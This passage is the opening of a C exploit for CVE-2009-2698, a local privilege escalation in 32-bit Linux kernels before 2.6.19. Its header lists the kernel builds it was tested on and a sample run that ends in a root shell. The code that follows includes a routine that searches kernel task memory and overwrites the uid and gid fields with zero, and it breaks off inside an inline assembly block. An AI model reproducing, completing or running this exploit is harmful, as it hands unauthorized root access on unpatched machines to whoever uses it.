/***** 0x82-CVE-2009-2698** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit**** Tested White Box 4(2.6.9-5.ELsmp),** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),** Fedora Core 6(2.6.18-1.2798.fc6).**** --** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.** Thankful to them.**** --** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698** sh-3.1# id** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t** sh-3.1#** --** exploit by <p0c73n1(at)gmail(dot)com>.***/
#include <stdio.h>#include <unistd.h>#include <string.h>#include <sys/socket.h>#include <sys/mman.h>#include <fcntl.h>#include <sys/personality.h>
unsigned int uid, gid;void get_root_uid(unsigned *task){ unsigned *addr=task; while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){ addr++; } addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */ addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */ return;}void exploit();void kernel_code(){ asm("exploit: " "push
